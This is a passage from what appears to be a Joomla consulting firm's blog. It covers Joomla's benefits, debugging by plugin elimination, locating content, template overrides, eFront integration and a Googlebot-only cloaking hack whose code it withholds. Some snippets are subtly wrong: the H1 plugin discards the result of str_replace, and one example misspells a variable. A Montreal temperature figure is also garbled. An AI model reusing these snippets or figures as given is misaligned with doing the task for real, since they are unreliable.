    • Finally, editing content in Joomla is a breeze – this is because it is easier (in most of the cases) to locate content in Joomla than in other CMSs and to edit that content.

  2. Powerful and easy menu creation tool: Perhaps the number one reason that made Joomla so popular in the CMS world is its easy menu creation tool. All CMS veterans can attest that Joomla has the easiest and most powerful menu creation tool. Their supporting argument is that anyone (even those with no programming experience whatsoever) can easily create hierarchical menus consisting of various menu items pointing to different locations internally (to the website) and externally.

  3. Hackable core: By hackable core we mean that Joomla’s core can easily be changed by anyone with PHP experience. This is because Joomla’s core code is clear, well written, and well documented. Hacking Joomla’s core is sometimes necessary to extend or to optimize Joomla, but comes at a potential expense: it many no longer be possible (or it’ll be very difficult) to upgrade Joomla.

  4. Open source infrastructure: We remember the days where the term “open source” meant “geeks who do not like to use Microsoft products to develop websites”. Fast forward 10 years from then, and now open source software powers most of the web.

    Joomla is created using PHP and (usually) uses MySQL for data storage. PHP is the most important open source web scripting language at the moment (by the way, Facebook is powered by PHP), and MySQL is the most powerful and most used open source database. This strategic (and old) decision of using PHP and MySQL has made it easier for many developers to support Joomla and to program new Joomla extensions. Additionally, Joomla is typically hosted on a Linux server and is (also typically) served by an Apache web server – this makes Joomla 100% open source, in its code and its infrastructure.

  5. Infrastructure versatility: While, in most cases, Joomla is a LAMP web application (LAMP stands for “Linux Apache MySQL PHP” – the 4 cornerstones of open source on the web), Joomla can also run with…

    • MSSQL (Microsoft Sql) or Oracle (yes, Joomla can work on Oracle) as a database
    • LiteSpeed or IIS as a web sever
    • Windows as a server

    This makes Joomla a very versatile CMS – that is able to adapt in nearly any environment. Note that we are talking about Joomla’s core, some extensions do not support one or all of the above – and thus need to be modified to run in an environment other than LAMP.

  6. Built-in caching: Joomla’s cache is one of the most important – and yet most dreaded – features of Joomla. It makes any Joomla website much faster (we’re talking about 20 times faster in many of the tests we ran), and it avoids overloading the server that is hosting the Joomla website. On the other hand, caching can be a curse rather than a blessing, if misused or if it conflicts with other extensions. In fact, the first action that we ask our clients to do if they elect to debug their own Joomla website themselves is to disable caching. Nevertheless, caching is must-use feature in Joomla that dramatically increases its performance and its response time.

  7. Built-in basic SEO functionality: SEF (Search Engine Friendly) urls are built-in in Joomla. All you need to do is to enable them for them to work on your Joomla website. It is a known fact that SEF links bring huge benefits to your SEO rankings. Additionally, Joomla allows you to explicitly set the meta description and the meta keywords of any page – which also props up your SEO standings. In short, Joomla allows you to do the basic SEO yourself – instead of paying top dollars for a consultant or a 3rd party company to do it for you.

  8. Multilingual support: As of version 1.6, Joomla is natively multilingual. This means that you can build a website in English, and create another version of the same site in other languages, such as French and/or Spanish. Joomla thus will easily give you access to a broader audience. Note that there are some 3rd party extensions, such as JoomFish, which are used to support multiple languages in older versions of Joomla (<= Joomla 1.5.26) and to complement native multilingual support in newer versions.

  9. Vibrant and friendly community: Unlike other CMS’s communities, Joomla’s community is vibrant and thriving. You have a question on Joomla? There must be someone, somewhere who asked the same question before (probably differently – but the essence will still be the same) and there must be someone, somewhere who answered him. Joomla’s community is also very friendly (there are always some exceptions – but we’re talking about the whole community here) and is always eager to help.

  10. Reliable support by 3rd party companies: While Joomla is not directly supported (by directly we mean helping people with their websites – we do not mean introducing updates and upgrades) by Open Source Matters (the organization behind Joomla), there are many high profile 3rd party companies, such as itoctopus, offering reliable Joomla support for Joomla websites. The 3rd party support that Joomla websites enjoy is one of the best among the CMSs.

  11. Security updates: Open Source Matters releases security updates whenever any maintained version of Joomla is reported to have a security issue. These security updates ensure that Joomla websites all over the world run smoothly and securely.

  12. Huge library of extensions: Do you need to create a custom form in Joomla? Well, there’s already a component for that. Do you need to integrate social networking into your Joomla website? Well, this is already done for you! Do you need to integrate a forum? Yes, you guessed it, there’s already an extension for that as well! Do you need to do anything in Joomla? In most cases, whatever functionality you can think of already exists in Joomla’s huge extensions library. In many cases, Joomla’s extensions are free. Paid Joomla extensions are priced very reasonably.

  13. Vast collection of templates: Whether you want to create a fishing website that only die hard fans will visit, or whether you want to create a corporate website to serve your international clients, there is a Joomla template for you. There are so many Joomla templates out there that it’s hard for anyone not to find one that suits his business. And in the rare case where you need a Joomla template and you can’t find a premade one that works for you, then it’s easy and cheap to get one developed for you. A couple of things to note about Joomla templates:

    1. Many Joomla templates are commercial – meaning you have to pay money for them. However, there is still a lot of Joomla templates that are free to use.
    2. Joomla templates are not compatible across all Joomla versions. For example, a Joomla 1.5 template will not work on a Joomla 2.5 website (and vice versa). So if you find a template, make sure that it matches your Joomla version before buying it/downloading it.

  14. Access control lists (ACLs): Joomla, since its inception, is blessed with a very powerful ACL component. That ACL allows you to set who views what, who edits what, and who creates what. As of Joomla 1.6, the ACL has been completely revamped to make it more flexible. On the downside, Joomla’s ACL can be the reason behind a lot of problems – and many Joomla administrators inadvertently break their website when toying with the ACL. Our advice, when it comes to ACL, is not to touch it if you don’t understand how to use it. You can easily break your website if you make a very simply mistake with the ACL. You have been warned!

  15. An enormous number of Joomla websites: According to our research nearly a year ago, about 1% of the world domains are powered by Joomla. This means 2 things:

    1. Joomla is here to stay. Even after several years of its inception, Joomla has kept its momentum and is still acquiring territory on the web.
    2. Joomla is reliable. 1% of the domains in the world is about 2 million domains. If 2 million domains are using Joomla then it means that Joomla is worth using – and worth keeping as a CMS for many, many content administrators out there.

  16. Frontend editing: We can’t think of many CMSs that allow frontend editing. Joomla does. Frontend editing means editing content on the website itself – for example, if you’re logged in to the website (and of course, you have the right permissions) and you see a page that needs editing, then you can edit it directly without going to the backend. This is an important feature especially for those Joomla website owners who have little Internet experience/knowledge. Note that this feature currently only works for articles – custom modules and other content still need to be edited from the backend.

  17. Free to download, to use, free to upgrade: Joomla is free – period. You download it for free, you use it for free, and you upgrade it for free. You only need to pay for your Joomla website when:

    • You are downloading a paid extension.
    • You are asking a 3rd party company to do some work on your Joomla website – including debugging it, fixing it, and extending it.

  18. Scalable engine: Joomla’s engine is scalable, and can be modified to sustain large amounts of traffic – we’re talking about hundreds of thousands of visitors per day. Of course, the modifications need to be heavy – very heavy to handle this amount of traffic.

  19. Secure by default: Joomla, by default, is secure. What we mean by that is that when you download the latest Joomla zip file and install it onto your website, then your website is secure. A Joomla’s website security is compromised mainly because of one of the following:

    • Ignoring/Not installing security updates regularly.
    • Using insecure 3rd party extensions.

    • Hosting with a bad host.

    We have discussed before, in depth, the reasons why a Joomla website get hacked.

  20. Compatible with nearly all browsers: A Joomla website, by default, is compatible with all browsers. Browser compatibility issues on a Joomla websites are caused by either the template (if it’s not developed by the Joomla team) or by non-standard extensions.

And now the 21st benefit of Joomla:

  1. Reasonable learning curve: Creating a Joomla website from scratch can be done in a day – even if the person has never used Joomla before. That’s a clear advantage over other CMSs such as Drupal – that require the person to be at least a system administrator to merely operate the website.

As you can see, the reasons for using Joomla are many, and it’s very clear that any business, whether small or large, can benefit from the power of this CMS.

If you want to know more on how Joomla can help you, or if you just need help on your Joomla website, then all you need to do is to contact us. Our prices are reasonable, our team is friendly, and we’re really eager to work with you.

How to Debug Joomla?

At itoctopus, we like to share our knowledge with our readers. We’re one of the very few Joomla Consulting companies who are not afraid to do so for fear of educating competition or losing potential revenue. We would like, in this post, to share the secrets of debugging Joomla, the way we do it! Yes, we don’t have anything called the secrets of the trade. We only have our hard work and experience!

Two things to note before we start:

  1. Joomla’s official website has a guide on debugging Joomla – but it’s advanced, way too advanced for the layman, and there are much better ways for debugging Joomla. We’re sure that whoever wrote this guide doesn’t use it himself.
  2. The guide below is for debugging Joomla – debugging means knowing the source/reason behind the error in order to fix the error – it doesn’t mean fixing the error.

After this brief introduction to this post, let us start our digestible, easy-to-use, hassle-free guide to debugging Joomla:

  • An error suddenly appears on your Joomla site – or you see the same error on every page of your Joomla website. (If you see a blank page then make sure you enable error reporting – see here for a full guide on error reporting in Joomla.)
  • Read the error – if the error is detailed – e.g. stating which file has the problem and what is the problem, then you’re good to go. You know what the problem is and where the problem is! All you need to do right now is to go ahead and fix it (or call some Joomla Experts to do this for you).

  • If the error is not detailed (such as “invalid token“) or you see something like “Internal Server Error”, then you must change tactics, and you will need to follow the below steps to locate the error.

  • The first thing that you need to do is to disable caching. Caching is the source of most evils in Joomla (the source of almost equivalent evils is SEF). Disable caching completely by disabling the System – Cache plugin in your Plugin Manager and by disabling caching in your Joomla’s main configuration page. If the problem is solved by disabling caching, then it might be that some other plugin/module is conflicting with your cache. Read on!

  • If after you disable caching you still see the problem, then disable SEF. SEF is known to be a painful experience for most Joomla administrators. If disabling SEF fixed the problem, then most likely (and similarly to cache), the problem is that SEF is conflicting with one of your extensions (usually a plugin or a module).

  • If, even after you disable SEF, you still see the same error, then you will need to do the following:

    • Go to your Plugin Manager.
    • Disable each and every active plugin on your Joomla website (one by one).

    • Each time you disable a plugin, check your website to see if the error is no longer there.

    • The moment you see that the error disappears, you will need to re-enable the plugin and… (warning: you will need to be a programmer to continue the below steps):

      1. Open the plugin PHP file – for example, if the plugin is Content Password, then its corresponding PHP file should be contentpassword.php under plugins/content/.
      2. Add the code die('test');) at the beginning of the file.

      3. Check your website to see if test is simply displayed on the page.

      4. If it is, then, move the line die('test);) to the second line in the file.

      5. Repeat steps 3-4 until the original problem re-appears. The line immediately preceding the die('test') after the problem re-appeared is the problematic line and it needs to be fixed.

  • If the error is still there even after disabling all the plugins, then you need to do the same thing that you did for plugins for modules (e.g. disable modules one by one and check if the error goes away).

  • If neither disabling the plugins nor disabling the modules worked for you, then try to change the template (go back to the default template made by Joomla) and see if that solves the problem. If it does, then most likely there’s something wrong with your template.

  • If you still see an error, then the reason behind the error is probably one of the following:

    1. A corrupt .htaccess file: This problem is usually solved by renaming the .htaccess to something like htaccess.old – or by completely deleting the .htaccess file.
    2. An unsuccessful modification in Joomla’s core. You will need either to reinstall Joomla or to request the help of some Joomla professionals who will certainly be able to locate the problem for you.

If you’re seeing a problem on your Joomla website and are unable to know where it’s coming from and how to fix it, then we’re here to help! Just contact us and we’ll try our best to fix your problem in no time! Our fees are very reasonable, we are friendly, and we know much more than a few things about Joomla!

Joomla in Downtown Montreal

Joomla is one of the hottest CMSs in nearly every city in the world and Montreal is no different. But what is different for us is that we are based in Montreal. When a Montreal company (located downtown) calls us and asks to do some work on its Joomla website, we often do the work on-site. Of course, the quality of work is not better when doing the work in our client’s office instead of our office, but it tends to build a stronger relationship between us and our clients.

Based on the many Joomla projects we have undertaken in downtown Montreal, we have noticed the following:

  • Montreal companies prefer working with Joomla experts from Montreal rather than working with programmers from other cities/countries.
  • Companies in Montreal tend to have very beautiful, original, and professional looking websites. We don’t know whether it’s the absolute cold, the beautiful mixture between the French finesse and the English practicality, or the creative immigrants choosing Montreal as their new home – but we know for a fact that every Joomla website we have worked on here in Montreal is pure art when it comes to design!

  • Most of the Joomla work we do in Montreal tends to be very advanced since there are many companies here in Montreal that push Joomla’s functionality and power to the extremes.

  • Joomla administrators in Montreal are very well educated about Joomla, and they know all the ins and outs of Joomla, as well as its limitations. (This is why most of the work we get in Montreal is usually very complex)

  • Usually a system administrator is the person who manages the Joomla website at the technical level. That system administrator will ensure that Joomla’s environment is always optimized. S/he is also (usually) responsible for backups, installing new extensions, and updating Joomla.

  • Montrealers know how to get traffic to their websites: most of the Joomla websites (for companies in Montreal) we have worked on get at least a few thousand uniques per day. That’s a lot of traffic!

  • Since most Joomla websites in Montreal get a lot of traffic, then load balancing and advanced optimization techniques are nearly always a must!

  • Montreal is located in Canada (an officially bilingual company) in the province of Quebec (which has French as official language) – as such all Joomla websites in Montreal are bilingual (there’s always a French and English version of the website). Work on bilingual Joomla websites tend to be very challenging because you need to ensure that all the extensions (even extensions that do not support languages other than English by default), and not only Joomla’s core extensions, are bilingual.

  • There are some governmental websites in Montreal powered by Joomla. It is worthy to note that the federal government in Canada has created a standard for the look&feel and the navigation that all federal websites have to abide to. By the way, the federal government doesn’t really care about the infrastructure of the website (e.g. which CMS is it running, which type of server is it hosted on, etc…) – as long as the website meets the interface (and, of course, the security) standards, then everything’s OK.

  • Montreal is a very cold place – temperature often drops below 30 degrees Celsius (86 degrees Fahrenheit) during the winter! This means two things: 1) There are many travel websites in Montreal tempting Montrealers with vacation escapes to the warm south, and 2) most of the websites have a fresh look to make up for the gloomy weather that Montrealers suffer from for about 5 months a year.

  • Joomla websites in Montreal take advantage of all the social media – as such, almost of all websites have extensions for integrating Facebook, Twitter, LinkedIn, Pinterest, etc… Additionally, most Joomla websites in Montreal have blogs, where owners and staff discuss topics about their business.

  • Montrealers have a sense of humor and are very nice people to work with. (Yes, that includes us!)

  • Montreal is like a mosaic – it has people from all over the world, and all these people like to bring special things from their original countries – usually these special things are recipes. Hence, there are many restaurants in Montreal, and guess what, many of these restaurants have websites which are powered by Joomla. (We’ve worked on quite a few restaurant websites in Montreal.)

What kind of companies have we worked with in downtown Montreal?

We have worked on the Joomla websites of many companies here in Montreal, such companies include:

  • Clinics
  • Federal governmental agencies
  • Furniture companies
  • Law firms
  • Restaurants
  • Telecommunication companies
  • Travel agencies

We have also served small businesses such as car rental companies, doctors, lawyers, photographers, nurseries, wedding planners, etc…

We have also done a lot of sub-contracting to large North American consulting companies which are based here in Montreal. We now have several of these large consultants outsourcing their Joomla development work to us.

So, why do companies here in Montreal like to work with us? What’s so special about us?

Well, the first thing is that we’re located in downtown Montreal – making us easily accessible for these companies. The second thing is that we are Montrealers ourselves, which means that we’re some of the friendliest people on this planet, and which also means that we’re fun to work with. The third thing is that our customization services cover everything related to Joomla: we can build any extension our clients want, we can modify any extension, we can even modify Joomla’s core! The most important thing, however, is that we get the job done, on time, every time since we are always honest and realistic in our estimates.

How do our clients from Montreal find us?

Many of our potential clients (not only our Montreal clients) know about us through our website (they’re usually looking to fix something on their Joomla website and they stumble upon our website). Once these potential clients reach our website, and in case they like what they see, they check our “Contact Us” page to know where we’re located – that page clearly shows that we are in Montreal. Since Montrealers love to work with Montrealers, and since we provide the service they’re looking for, they nearly always opt to work with us.

Additionally, we now have a large customer base and as such, we get a lot of word of mouth recommendation (which is the best form of advertising) by fellow Montrealers who vouch for us and recommend us for any Joomla project/task.

What is the percentage of our Montreal clients?

We don’t like to give numbers – but we’d say that, compared to the rest of the cities, Montreal is our third biggest when it comes to clients and revenue. California is the city where we have the most customers (and where we get the most revenue) – it is closely followed by Arizona.

Why are we located in Montreal?

If you’re asking this question it means that you’ve never been to Montreal. Montreal is a charming cosmopolitan city (very cold – but still very charming) – the people are beautiful inside out, and the nature is wonderful. Additionally, Montreal has some of the best programmers on this planet – many of them are truly Joomla experts. Finally, Montreal is adjacent to the US, where most of our clients are located, and it gives us an exposure to Europe and the rest of the world. Oh, and we forgot to mention, that Montreal’s infrastructure when it comes to IT is top notch – we now have high speed Internet nearing 200 Mbps.

Do we charge less for work done inside Montreal?

No – the rate is the same across the board. However, we do not charge travel expenses for companies asking us to do Joomla work in their offices in downtown Montreal. Any work physically done outside downtown Montreal will be subject to our travel expenses. Please note that again, travel expenses only apply for companies that ask us to do the work on-site (and are not located in downtown Montreal).

Are you located in Montreal? Do you need help with your Joomla website? If yes, then feel free to contact us neighbor! We’d really, really love to work with you!

Where Are My Articles Stored in Joomla?

We think that the title of this article should be “Where Is My Content Stored in Joomla?” instead of “Where Are My Articles stored” in Joomla, but since most Joomla administrators treat all the content on a particular page as a single article, we opted for the latter title, but the former title is technically much more accurate.

You are browsing your Joomla website that you are so proud for, you find a a typo in one of the pages, and so you immediately login to your powerful Joomla backend and you try to find the article having this content. You spend an hour searching for the article and then you give up, bite the bullet, and call some Joomla Experts. It takes these experts a few minutes to find where the location of this content and now this whole thing makes you wonder whether you need some very basic lessons in Joomla. Let us answer this question: you don’t…

You see, Joomla is very tricky when it comes to content storage – and what makes it even trickier is the myriad of ways that developers, designers, and content managers opt for to storing content.

Technically, content on a Joomla website can be stored in any of the following:

  • The database: In this case, the content is either stored in the table jos_content or jos_modules (replace jos with the table prefix of your database). When the content is in the database but not in the table jos_content, then it’s most likely in a custom HTML module. Please note that we are only discussing basic Joomla websites – some Joomla websites have some advanced extensions such as VirtueMart and JomSocial that store their content in dedicated tables.
  • The templates: Bad/irresponsible designers/developers love to make life even harder for the owner of a Joomla website by storing a lot of content in the templates (especially in index.php files). There are even some that store all the content of the website in one file (yes, we’ve seen it! It was all in one file!), which is the index.php file. They do this by creating conditions based on the current menu id. Here’s a quick example:

    
    $menuId= JSite::getMenu()->getActive()->id ;
    if ($menutId == 1){
    	echo('This is the content of page 1');
    }
    elseif ($menuId == 2){
    	echo('This is the content of page 2');
    }
    

    The code above is usually placed in the index.php file and is responsible for displaying content based on the menu item id. This method is bad on so many levels. Here's why:

    • Everytime you need to make a change you will be changing the most critical file in your template that is also one of the most critical files on your whole website.
    • If a menu item is deleted and re-added, then the index.php needs to be updated.

    • The index.php will become a complete mess once the website has more than 5 pages.

    • This method defies all good programming practices.

  • Filesystem: Some custom-made extensions grab some of their content (and sometimes the majority of their content) from the filesystem using the function file_get_content. This function will take the path of a file in the directory of a Joomla website, reads its content, and then returns it so that it can be displayed by the extension. This method is mostly used to support a mini-template system. Here's an example:

    • A certain business has many departments. Each department has a page on the website. The page has a lot of information, and is identical for all departments, with the exception for the name and the description of the department.
    • An extension is created to gather the name and the description of all departments, and then generate the page for each department based on a generic content page (e.g. template).

    • That template is stored in a physical file.

  • 3rd party external repositories: Content that is generated by widgets (such as Facebook or Disqus widgets) comes from a 3rd party repository. Usually the Joomla administrator has little control over that content.

Now that we have explained the common places where content of a Joomla website is stored, let us explain the process of finding the content on a Joomla website:

  • Finding the location of a content on a Joomla website - the easy way

    Let's assume that the page title is something like http://yourjoomlawebsite.com/our-policies. In order to find where is this content, you first need to find the menu item with an alias that is "our-policies". Once you do that, you will be able to know which article this menu item points to. You will also be able to know which modules are assigned to this menu item. By looking at the article's content and by examining each module, you will be able to locate the content that you're searching for.

  • Finding the location of a content on a Joomla website - the advanced way

    While the above method works well in most of the cases, it suffers from the following drawbacks:

    • In older versions of Joomla, modules assigned to a certain menu item aren't displayed on the menu item page, thus making locating the content a true quest.
    • Even if the modules assigned are listed, there are sometimes dozens of them assigned to a single menu item, which makes searching for the content's location challenging and tedious as one needs to examine each and every module until he finds the module containing the content.

    • It can be extremely hard to find the location of the content if there are soft or hard redirects hard coded into the system. Soft redirects are added to to the standard redirect extension (under "Components"->"Redirects"), hard redirects are added to the .htaccess file.

    • It doesn't take into account content that is located in the fileystem.

    A better, and much faster way for locating content on a Joomla website is to do a search of a unique string on the page at the database level using the phpMyAdmin interface. For example, let's say that your page has the following sentence: "We offer the best plumbing service!". Doing a search at the database level for %We offer the best plumbing service%. will return all the rows containing this sentence (typically it should be only one row, if not, then you need to make your search even more specific) - these rows can belong to any table: jos_content table, jos_modules etc...

    Now, if you are not able to find your sentence using a global database search, then you should do a search on your filesystem using grep at the root directory of your website (this is pretty advanced stuff and you may need to request the help of a system administrator). If you are still unsuccessful in finding the content, then most likely this means that the content is generated by a JavaScript tag and it comes from a different server.

    If you still need help locating content on your Joomla website then feel free to contact us. We are super fast, our rates are competitive, we are very friendly, and we know our Joomla!

How to Change H2 tags to H1 tags in the Article’s Title in Joomla

We all know that from a search engine perspective, words surrounded by the H1 tags are the ultimate keywords. Apparently, those who developed Joomla do not know this (yes – we are criticizing them!). That’s why they have elected to surround the titles of the articles with H2 tags, making them less important and diluting their importance from a search engine perspective. This is a problem that has negative effects on the search engine rankings of any Joomla website. (By the way, the problem still exists even in the latest version of Joomla).

What’s even more annoying is that Joomla does not easily allow you to change these tags from H2 to H1 through an interface – in fact, the H2 tags are hard coded in the file /components/com_content/views/article/tmpl/default.php!

There are three ways to address this problem:

  1. Change a core Joomla file: This is the quick and dirty fix. All you need to do is to change the <h2> and </h2> tags in the lines 36 and 43 of the file /components/com_content/views/article/tmpl/default.php to <h1> and </h1> respectively. The problem with this method is that you will be changing a core Joomla file – which means that your change can be completely wiped out by a later upgrade in Joomla. A change in core can also potentially lead to a completely inoperable website when future upgrades/updates are applied (although it is very unlikely that this small change can do that).
  2. Create a plugin that will transform H2 tags to H1: This is much more complicated than the above step but you won’t be changing any core file. All you need to do is create a Joomla System plugin that only works on the frontend and that has the following code at heart:

    	function onAfterRender()
    	{
    		$app = &JFactory::getApplication();
    		if($app->isAdmin() || JDEBUG) {
    			return;
    		}
    		$body = JResponse::getBody();
    		str_replace('h2>', 'h1>', $body);
    		JResponse::setBody($body);
    	}
    

    The problem with the above method, however, is that you won’t be able to use h2 tags anymore anywhere – which makes it less than ideal. Another problem is that you will be using a plugin, thus creating extra overhead on the rendering of the page.

  3. Override the default article template: This is the best way of addressing the problem. All you need to do is the following:

    • Copy the file /components/com_content/views/article/tmpl/default.php to /templates/your_template_name/html/com_content/article/default.php
    • Change the H2 tags to H1 tags (in both lines 36 and 43) in /templates/your_template_name/html/com_content/article/default.php
    • That’s it!

    The above method is called overriding, and Joomla accommodates it automatically. Once you do the above, Joomla will use the default.php file located under /templates/your_template_name/html/com_content/article/ to display your articles (which means that it will use the H1 tags to surround the titles). The best thing about this method is that it doesn’t touch the core which makes it future proof. It is also the standard way for overriding default Joomla’s output. (By the way, this method is used by the designers to create new templates)

If you need help doing the above, then why don’t you contact us? We are friendly, we are fast, we are efficient, and our rates are very competitive!

How to Hide the Article’s Title in Joomla

You have created a new article and you want to display the title of that article inline – in other words, you don’t want Joomla to display the title of the article, but rather you want to add the title of the article yourself to the content area using the H1 tags. (Joomla, by default, uses H2 tags to display titles, we’ll explain how to address this issue in a later post.)

So you think that all you need to do to hide the article’s title is to edit the article, and then change the value of Show Title under Article Options (on the right side of the edit page) to Hide, and you do just that, but to your surprise, the title is still there. You try again and again (and again) but no avail. You think that you’re changing the settings of another article, so you make sure by adding the sentence “I am testing my Joomla website” to the content of the article (the technical name for this procedure is debugging, by the way) and the sentence shows up on your article, which means that you are indeed editing the right article. You then give up by globally changing the setting to hide the title for all articles which can be done (in Joomla 2.5) by going to Content -> Article Manager and then clicking on Options at the top right, and then choosing Hide next to Show Title and then clicking on Save at the top right of the popup window. (see below)

Article Manager Options in Joomla title=

Image 1: The Article Manager Options in Joomla – it allows you to change the setting to display or hide the article’s title globally – but to do this on a one-by-one basis you need to do something else.

As mentioned in the caption text, this does work and hides the title for that article, but it also hides it for all articles, and most likely this is not what you want. In order to hide the title for a single article, you will need to do this at the Menu Item level in the menu manager. In other words, you need to go to the Menu Item pointing to that article, and then you need to choose Hide next to Show Title under Article Options (located on the right).

Yes, we know this is confusing, but many things in Joomla are – and we need to accept this as a tradeoff for all the power that Joomla (as well as its extensions) gives us over our websites.

If you need help hiding the title of your articles in Joomla, or in doing anything else related to Joomla, then all you need to do is to contact us. We’re fast, we’re friendly, our prices are affordable, and we get the job done!

eFront Integration with Joomla

We worked lately on a very exciting project. The project consisted of integrating eFront, the well known Learning Management System (or LMS), with Joomla, the very famous Content Management System (CMS). In short our client wanted to do the following:

  • Ensure that the users tables are synchronized, where Joomla is the master and eFront is the slave, which means that if a new profile is added to Joomla, it is added to eFront as well, but not the other way around.
  • Ensure that the login is unified between the two, which means that if a person logs in to Joomla, he will be logged in to eFront.
  • Ensure that eFront can be accessed from within the Joomla website.

Of course, this is a challenging job since both Joomla and eFront are totally separate systems, and integrating eFront with Joomla will be a very difficult task. However, there is a very useful extension on Joomla called JFusion. JFusion allows the integration of 3rd party applications with Joomla, including eFront.

So, the first thing that we did was to install JFusion. JFusion’s installation is very simple and straightforward:

  • Download the JFusion extension
  • Install the extension using the extension manager
  • That’s it!

After installing JFusion, we moved on to install eFront. Here’s what we did to install eFront:

  • Download eFront
  • Upload it to a directory called edu on the server (just under the public_html directory) and then extract it there
  • Go to http://ourclientjoomlawebsite.com/edu to configure eFront

There’s a caveat that one needs to be aware of when installing eFront: eFront’s table prefix functionality is deprecated, which means that it’s preferable to choose an empty database to support the database layer of your eFront installation (e.g. when you are prompted to add your database credentials, ensure that you are not using the database used by your Joomla website, but rather an empty database – this is not necessary but it is precautionary in case your Joomla database has some tables without prefixes).

After installing both JFusion and eFront we arrived to the fun part: integrating eFront with Joomla. To do this, all we needed to do was to go to JFusion and configure the eFront plugin to make it point to the right URL and the right path. We also needed to provided an API User and an API Key (the API User and the API Key are just the username and password of an admin created on eFront). We then needed to provide the database credentials for eFront (so that JFusion can connect to the database and store/update/retrieve information from there).

We have to say that the first time we tried to set up eFront on JFusion it didn’t work, but we tried to do it using the wizard and it worked (we were first trying to do it manually).

Once the mission of setting up eFront with JFusion we needed to specify how eFront should be integrated in Joomla to accommodate our customer’s needs. That was easily done by going to the main JFusion configuration page, and then clicking on the Master icon next to Joomla, and then clicking on the Slave icon next to eFront. Once that was done, the JFusion configuration page looked like the following:

JFusion Configuration Page

Figure 1: JFusion’s configuration page featuring how Joomla is setup as Master, and eFront is setup as Slave.

Now the final part was to create a menu item to point to eFront from within Joomla. All we needed to do was to create a new menu item, and then choose the menu item type to be JFusion, and then choose the eFront plugin from the drop down on the left side. (Needless to say, we also needed to specify the menu item title and other “standard” parameters).

At this point we had eFront fully integrated with Joomla. All we needed to do was to test:

  • We created a new profile on Joomla and we checked eFront’s admin and it was indeed creating the same user on eFront.
  • We logged in on Joomla using the user we just created and we were automatically logged in on eFront.
  • We were able to see eFront by clicking on the menu item that we created above.

Although the guide above seems straightforward, it is very possible to face some challenges when you try to integrate eFront with Joomla. If you do, then all that you need to do is contact us and we will definitely help you. We are fast, we are reliable, we are friendly, and we don’t charge much!

How to Know Which Files Are Being Included in a Joomla Page?

You’ve probably been there before:

  • You notice something wrong on your Joomla website. (for example, a typo)
  • You’re sure how to fix it.
  • You search the database to see if the problem is there.
  • You don’t find the problem there, so you’re now sure that the problem resides in the filesystem.

A quick way to address this issue is by downloading the files for the whole website, and then search all these files for the problem (using a multi-file search tool). That can be a very tedious process. (Note: This can also be done by connecting to the website using an SSH client and issuing a grep command to find the file(s)).

However, in some situations, doing the above is not practical especially when the number of matching files is very large. So, what to do in this case to find the file(s) that should be changed?

In our opinion, the easiest way to find these files is by “shortlisting” the files in the Joomla filesystem. “How?” – you may ask. The answer is easy, all that needs to be done is to print a list of all the files included by the Joomla page, which can easily be done by the function get_included_files. Here’s what you should do:

  • Open the index.php file of the template that you’re using. This file should be located under /yourjoomlawebsite/templates/yourtemplatename/.
  • Just after the </html> tag, add the following code:

    <?php
    	print_r(get_included_files());
    ?>

Now when you view any page on your website, you will see at the end of the page a list of all the files that were included to execute that page (e.g. all the files that were included using the include[_once] or the require[_once] directives). Of course, the number of listed files can be overwhelming, but this method will definitely help you locate that hidden file that you absolutely need to change.

If you’re trying to change something on your website but you are having some hard times doing it (even after reading the above), then all you need to do is to contact us. We are Joomla experts and we can definitely help you. Our rates are very affordable, we are very friendly, and we always get the job done!

Google Indexes Different Content on Your Joomla Website

In our job, we get a new odd and exciting problem to fix nearly every day, and that’s what keeps us motivated! Today was no different, as a new client told us that his Joomla website was hacked, but only for Google! So we asked him that how can such thing be possible, he told us that the Google’s index of his website shows obscene content that is not present anywhere on his Joomla content – however, clicking on any link on Google takes the visitor to a clean version of his website. So we visited our client’s website and we checked the HTML and everything was clean! Then we entered site:ourclientjoomlawebsite.com on Google’s search and here’s what we got:

Google indexes different content

Figure 1: Google Indexes different content on our client’s Joomla website.

As you can see in the above image, Google indeed has indexed different (obscene) content. We did a thorough examination of the main files on our client’s website (the index.php, the .htaccess file, and the template files) and we couldn’t find any problem – all the files were 100% clean, and so we initially thought that the website was hacked before, and then it was fixed, and Google indexed the hacked website and still hasn’t refreshed its index.

But then it struck us – what if Googlebot (Google’s bot that is responsible for indexing websites) was seeing a different content than normal users? So we used a tool to check what Googlebot sees (there are tools that allow you to see what GoogleBot sees – just search for “check what googlebot sees” on Google) and it was indeed seeing a hacked version of the website.

Here’s what we did in order to locate the problem:

  • Added a PHP die function in the beginning of the index.php
  • Checked what Googlebot was seeing
  • If Googlebot was not seeing a hacked website, we moved the die to the subsequent line
  • If Googlebot was seeing the hacked website, then we checked what was the immediate line before die function doing and we moved the die to the corresponding file, and then we did the exact same process as above, until we were able to locate the exact line of the problem.

After doing the above, we discovered that the application.php located under includes directory was hacked to include one file that contains a malicious code (we will not include the malicious code here). We have removed that file include directive and everything was fixed.

But how and why did this happen?

The way the hack was made implied that the hacker knew of the exact file structure of the server, well above the website level, which meant that whoever did this was an employee of the company. As for why, we believe that the employee wanted his employer’s website to get penalized (essentially destroying his employer’s online presence) since Google severely penalizes websites that use cloaking. (cloaking means showing different content for the search engine)

If you have a similar problem on your Joomla website then it is imperative that you act immediately and proactively – or risk your website being penalized (or worse – banned) by Google and other search engines. Oh, and if you need help then all you need to do is to contact us – we’re very helpful, we’re very friendly, and we are very experienced in Joomla – and our fees are reasonable!

Login Form Hidden on Joomla’s Administrator Login Page

Nearly every day, we have one or two clients calling us and telling us that they can’t login to the backend of their Joomla website. Usually, their problem is one of the following:

  • They are seeing a completely blank page when they try to login to their Joomla website. In other words, they see the login form when they go to http://clientjoomlawebsite.com/administrator but when they enter their credentials (and press on the “Log in” button) they see a blank page. Usually, the cause of this problem is a PHP error in one of the non-core system plugins.
  • They are seeing a completely blank page instead of the login screen. The root cause of this problem is an error in one (or more) of the core Joomla files that loads the login screen. This is not very common, but it does happen, especially after a PHP and/or a MySQL upgrade for websites that are powered by a modified Joomla core.

  • They are seeing an “invalid token” error when they enter their credentials. There are many, many causes to this problem, ranging from issues with cookies to badly written and/or conflicting extensions.

  • They are getting a “username and password do not match” error, although they are absolutely sure that they are correct. Again, the causes of this problem are many, ranging from a hacked website (e.g. the Joomla database is hacked and the password of the super admin is altered by the hacker) to a PHP upgrade (by the hosting company) that creates session issues making administrators of some old Joomla websites unable to login.

